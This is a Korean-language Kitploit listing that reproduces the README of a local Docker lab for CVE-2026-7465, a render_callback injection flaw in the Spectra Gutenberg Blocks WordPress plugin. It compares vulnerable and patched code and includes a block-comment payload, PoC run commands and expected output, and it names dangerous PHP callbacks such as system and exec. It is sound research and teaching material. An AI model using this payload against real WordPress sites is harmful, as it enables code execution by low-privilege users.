Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-7465-Lab — Spectra Gutenberg Blocks WordPress 플러그인의 CVE-2026-7465를 분석하고 재현하기 위한 로컬 Docker 랩. render_callback 주입을 시연하는 최소 피해 PoC로 취약한 버전과 패치된 버전을 비교합니다. | Kitploit
도구/GitHubGitHub/rootdirective-sec/cve-2026-7465-lab
Vulnerability AnalysisExploitationWeb Application ExploitationCTFLearning & EducationLabs & Practice
GitHubrootdirective-sec/cve-2026-7465-lab

CVE-2026-7465-Lab

Spectra Gutenberg Blocks WordPress 플러그인의 CVE-2026-7465를 분석하고 재현하기 위한 로컬 Docker 랩. render_callback 주입을 시연하는 최소 피해 PoC로 취약한 버전과 패치된 버전을 비교합니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
저장소 보기
143개월 전아직 검토되지 않음
공유

CVE-2026-7465 - Spectra Gutenberg Blocks 로컬 랩

WordPress 플러그인 Spectra Gutenberg Blocks(ultimate-addons-for-gutenberg)의 CVE-2026-7465를 분석하고 재현하기 위한 로컬 Docker 랩입니다.

이 랩은 다음을 비교합니다:

  • vuln: Spectra 2.19.25
  • patched: Spectra 2.19.26

이 증명(PoC)은 의도적으로 최소 피해(least-harm) 방식입니다. 셸 명령을 실행하거나, 파일을 업로드하거나, 사용자를 생성하거나, 컨테이너를 직접 수정하지 않습니다. PoC는 임시 WordPress 초안 게시물을 만들고, 렌더링된 블록 동작을 확인한 다음, 해당 초안을 삭제합니다.


요약

CVE-2026-7465는 Spectra Gutenberg Blocks의 취약점으로, 사용자가 제어하는 Gutenberg 블록 속성(attributes)이 WordPress 블록 등록 인자(registration arguments)로 전달될 수 있는 문제입니다.

취약한 버전에서 Spectra는 게시물 콘텐츠의 블록 속성을 사용하여 파싱된 uagb/* 블록을 동적으로 등록합니다:

root@kitploit:~
$registry->register( $block['blockName'], $block['attrs'] );

Contributor는 Gutenberg 블록 주석을 포함하는 게시물 콘텐츠를 만들 수 있으므로, 인증된 Contributor 권한 사용자는 render_callback과 같은 등록 인자에 영향을 줄 수 있습니다.

버전 2.19.26은 빈 인자 배열로 블록을 등록하여 이 문제를 수정합니다:

root@kitploit:~
$registry->register( $block['blockName'], array() );

이로써 게시물에 의해 제어되는 블록 속성이 PHP 블록 등록 옵션이 되는 것을 방지합니다.


영향받는 구성 요소

제품:

root@kitploit:~
Spectra Gutenberg Blocks
WordPress plugin slug: ultimate-addons-for-gutenberg

이 랩에서 사용된 버전:

root@kitploit:~
vulnerable: 2.19.25
patched:    2.19.26

WordPress.org의 2.19.26 변경 로그는 이 업데이트가 보안 버그를 해결했으며 책임 있는 신고를 한 Wordfence에 공을 돌리고 있다고 명시합니다.


근본 원인

취약한 로직은 다음 위치에 있습니다:

root@kitploit:~
classes/class-uagb-init-blocks.php

취약한 코드는 파싱된 블록 이름이 uagb/ 네임스페이스를 포함하는지 확인합니다. 블록이 아직 등록되지 않은 경우 해당 블록을 동적으로 등록합니다.

취약한 동작

root@kitploit:~
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {

    $registry = WP_Block_Type_Registry::get_instance();

    if ( ! $registry->is_registered( $block['blockName'] ) ) {
        $registry->register( $block['blockName'], $block['attrs'] );
    }
}

문제는 두 번째 인자입니다:

root@kitploit:~
$block['attrs']

Gutenberg에서 블록 속성은 게시물 콘텐츠 내부에 저장될 수 있습니다. 예를 들어:

root@kitploit:~
<!-- wp:uagb/example {"render_callback":"maybe_serialize"} /-->

Contributor는 초안 게시물 콘텐츠를 만들 수 있습니다. 따라서 공격자는 $block['attrs']에 영향을 줄 수 있습니다.

이러한 속성이 WP_Block_Type_Registry::register()에 전달되면 블록 등록 인자가 됩니다. 민감한 등록 인자 중 하나는 다음과 같습니다:

root@kitploit:~
render_callback

이로 인해 콜백 제어 원시형(callback-control primitive)이 생성됩니다.

패치된 동작

2.19.26에서 Spectra는 여전히 파싱된 uagb/* 블록 이름을 등록하지만, 더 이상 게시물에 의해 제어되는 속성을 등록 인자로 전달하지 않습니다:

root@kitploit:~
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {

    $registry = WP_Block_Type_Registry::get_instance();

    if ( ! $registry->is_registered( $block['blockName'] ) ) {
        $registry->register( $block['blockName'], array() );
    }
}

중요한 변경 사항은 다음과 같습니다:

root@kitploit:~
- $registry->register( $block['blockName'], $block['attrs'] );
+ $registry->register( $block['blockName'], array() );

이로써 공격자가 제어하는 속성이 블록 등록 경로에서 제거됩니다.


PoC가 maybe_serialize를 사용하는 이유

PoC는 system, exec, shell_exec, passthru와 같은 위험한 PHP 콜백을 사용하지 않습니다.

대신 다음을 사용합니다:

root@kitploit:~
maybe_serialize

증명 블록 콘텐츠는 다음과 같습니다:

root@kitploit:~
<!-- wp:uagb/cve-2026-7465-lab {"render_callback":"maybe_serialize"} /-->
<!-- wp:uagb/cve-2026-7465-lab {"lab_marker":"CVE_2026_7465_LEAST_HARM_CALLBACK_MARKER","proof":"least-harm"} /-->

예상 동작:

root@kitploit:~
vulnerable:
  render_callback from block attrs is accepted
  marker appears in rendered content

patched:
  render_callback from block attrs is ignored
  marker does not appear in rendered content

이로써 명령을 실행하거나 파일을 쓰지 않고도 취약한 동작을 증명합니다.


랩 구성

서비스:

root@kitploit:~
db_vuln      MariaDB for vulnerable WordPress
db_patched   MariaDB for patched WordPress
vuln         WordPress + Spectra 2.19.25
patched      WordPress + Spectra 2.19.26
seed_vuln    one-shot WordPress setup for vulnerable site
seed_patched one-shot WordPress setup for patched site

로컬 포트:

root@kitploit:~
http://127.0.0.1:8181 -> vulnerable WordPress
http://127.0.0.1:8182 -> patched WordPress

시드된 WordPress 사용자:

root@kitploit:~
username: contributor
password: contributorpass123!
role:     contributor

PoC는 HTTP 전용입니다. 로그인 및 REST API 요청을 통해 WordPress와 상호작용합니다.


저장소 구조

root@kitploit:~
.
├── docker-compose.yml
├── patched
│   └── Dockerfile
├── poc
│   └── poc.py
├── scripts
│   └── seed-wordpress.sh
├── vuln
│   └── Dockerfile

랩 실행

깨끗한 환경에서 시작합니다:

root@kitploit:~
docker compose down -v --remove-orphans
docker compose up -d --build

컨테이너 확인:

root@kitploit:~
docker compose ps

시드 로그 확인:

root@kitploit:~
docker compose logs seed_vuln seed_patched

예상 시드 결과:

root@kitploit:~
[+] seed vuln: done
[+] seed patched: done

PoC 실행

취약한 대상 테스트:

root@kitploit:~
python3 poc/poc.py -t http://127.0.0.1:8181

예상 취약 판정:

root@kitploit:~
[VERDICT]
  VULNERABLE_BEHAVIOR_OBSERVED

패치된 대상 테스트:

root@kitploit:~
python3 poc/poc.py -t http://127.0.0.1:8182

예상 패치 판정:

root@kitploit:~
[VERDICT]
  PATCHED_BEHAVIOR_OBSERVED

예상 출력

취약 - Spectra 2.19.25

root@kitploit:~
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8181

[INFO] fingerprinting target
  spectra_stable_tag: 2.19.25
  spectra_changelog_latest: 2.19.25
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=16
[INFO] fetching rendered content

[EVIDENCE]
  raw_contains_marker:      True
  rendered_contains_marker: True
  rendered_length:          227
  proof_callback:           maybe_serialize
  synthetic_block:          uagb/cve-2026-7465-lab

[VERDICT]
  VULNERABLE_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=16
[OK] cleanup complete

패치됨 - Spectra 2.19.26

root@kitploit:~
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8182

[INFO] fingerprinting target
  spectra_stable_tag: 2.19.26
  spectra_changelog_latest: 2.19.26
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=14
[INFO] fetching rendered content

[EVIDENCE]
  raw_contains_marker:      True
  rendered_contains_marker: False
  rendered_length:          1
  proof_callback:           maybe_serialize
  synthetic_block:          uagb/cve-2026-7465-lab

[VERDICT]
  PATCHED_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=14
[OK] cleanup complete

증거 해석

중요한 비교는 다음과 같습니다:

root@kitploit:~
raw_contains_marker
rendered_contains_marker

취약한 대상과 패치된 대상 모두 다음을 표시해야 합니다:

root@kitploit:~
raw_contains_marker: True

이로써 동일한 블록 콘텐츠가 임시 초안 게시물에 성공적으로 저장되었음을 확인합니다.

차이는 렌더링된 출력에 있습니다:

root@kitploit:~
vulnerable:
  rendered_contains_marker: True

patched:
  rendered_contains_marker: False

이로써 취약한 버전은 게시물에 의해 제어된 render_callback을 수용했지만, 패치된 버전은 수용하지 않았음을 입증합니다.

정리

컨테이너, 네트워크, 볼륨을 중지하고 제거합니다:

root@kitploit:~
docker compose down -v --remove-orphans

Python 캐시가 있으면 제거합니다:

root@kitploit:~
rm -rf poc/__pycache__

안전 참고 사항

이 저장소는 로컬 보안 연구 및 포트폴리오 시연용으로만 사용됩니다.

PoC는 다음을 수행합니다:

  • localhost 또는 루프백 주소만 대상으로 함
  • 로컬 랩에서 인증된 WordPress 접근을 사용함
  • 임시 초안 게시물을 생성함
  • 렌더링 동작 확인 후 초안 게시물을 삭제함
  • 셸 명령을 실행하지 않음
  • 파일을 업로드하지 않음
  • 사용자를 생성하지 않음
  • Docker 컨테이너를 직접 수정하지 않음
  • 원격 악용 워크플로우를 제공하지 않음

소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 대해 이 랩을 실행하지 마십시오.


참고 자료

  • WordPress.org 플러그인 페이지: Spectra Gutenberg Blocks - 블록 편집기용 웹사이트 빌더
    https://wordpress.org/plugins/ultimate-addons-for-gutenberg/

  • WordPress.org 변경 로그: 2.19.26 - Monday, 4th May 2026 Wordfence에 공로를 인정한 보안 업데이트
    https://wordpress.org/plugins/ultimate-addons-for-gutenberg/#developers

  • WordPress 플러그인 SVN / Trac
    https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/

도구 다운로드